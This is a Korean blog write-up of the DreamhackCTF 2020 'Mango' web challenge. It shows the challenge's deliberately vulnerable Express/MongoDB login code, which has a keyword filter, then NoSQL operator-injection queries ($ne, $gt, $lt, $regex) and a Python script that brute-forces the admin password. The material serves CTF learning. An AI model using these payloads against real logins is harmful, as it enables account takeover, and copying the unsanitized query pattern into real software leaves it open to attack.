[DreamhackCTF 2020] Mango write up
web 분야의 Mango 문제이다.
해당 문제는 코드가 주워줬고, `mongodb injection` 으로 admin 의 pw를 알아내는 문제이다.
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
위 코드에서 중요한 부분만 보면 아래와 같다.
`filter()` 함수로 특정 문자열을 필터링 하는 것을 볼 수 있다.
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
},
...
`mongodb injection` 기법중에서 `$ne` `$gt` `$lt` 등등 을 이용해 query를 조작할 수 있다.
예를들어 사진 결과를 보면 admin의 pw를 몰라도 result에 결과가 출력되는 것을 볼 수있다.
이 같은 원리로 문제 페이지에 요청을 보내보자.
아래와 같이 요청을 보내면 `guest` 가 출력이 된다.
/login?uid[$gt]=adm&upw[$ne]=
// result: guest
`guest` 빼고 다른 결과를 보기 위해 `$ne`를 이용하여 결과 값에서 `guest`를 제외시킨다.
이번에는 `dreamhack` 이 출력된다.
/login?uid[$gt]=adm&uid[$ne]=guest&upw[$ne]=
// result: dreamhack
이번에는 `$lt` 를 이용하여 `d` 라는 문자 보다 작은 값을 출력하게끔 만든다.
그럼 `dreamhack` < `d` 는 `false` 이므로 `dreamhack` 이 출력 되지 않는다.
결과를 보면 성공적으로 `admin` 이 출력된다.
/login?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$ne]=
// result: admin
문제는 admin의 pw를 알아내야 한다. 위에서 했던 방식으로 `upw[$lt]=DH...` 이런 식으로 찾아 보려고 했지만 `filter()` 함수에서 걸리게 된다. 다른 방법으론 `$regex` 를 사용하는 것이다.
아래 사진의 결과를 보면 DH로 시작하지 않아도 `$regex` 로 정규 표현식 비슷하게 찾을 수 있게 된다.
따라서 payload는 다음과 같다.
import requests
import string
url = "http://host3.dreamhack.games:15346/login"
s = string.digits + string.ascii_uppercase + string.ascii_lowercase + "{}"
result = ""
for i in range(32):
for idx, c in enumerate(s):
payload = "?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$regex]={" + (result+c)
print(payload)
res = requests.get(url+payload)
if res.text.find("admin") != -1:
result += s[idx]
print(result)
break
flag = "DH" + result + "}"
print(flag)
'🚩CTF' 카테고리의 다른 글
[b01lers 2020 CTF] write up (0) | 2020.10.07 |
---|---|
[DreamhackCTF 2020] validator write up (3) | 2020.09.29 |
[DarkCTF 2020] web write up (0) | 2020.09.27 |
[DarkCTF 2020] newPaX write up (0) | 2020.09.27 |
[DarkCTF 2020] rop write up (0) | 2020.09.27 |
댓글
이 글 공유하기
다른 글
-
[b01lers 2020 CTF] write up
[b01lers 2020 CTF] write up
2020.10.07 -
[DreamhackCTF 2020] validator write up
[DreamhackCTF 2020] validator write up
2020.09.29 -
[DarkCTF 2020] web write up
[DarkCTF 2020] web write up
2020.09.27 -
[DarkCTF 2020] newPaX write up
[DarkCTF 2020] newPaX write up
2020.09.27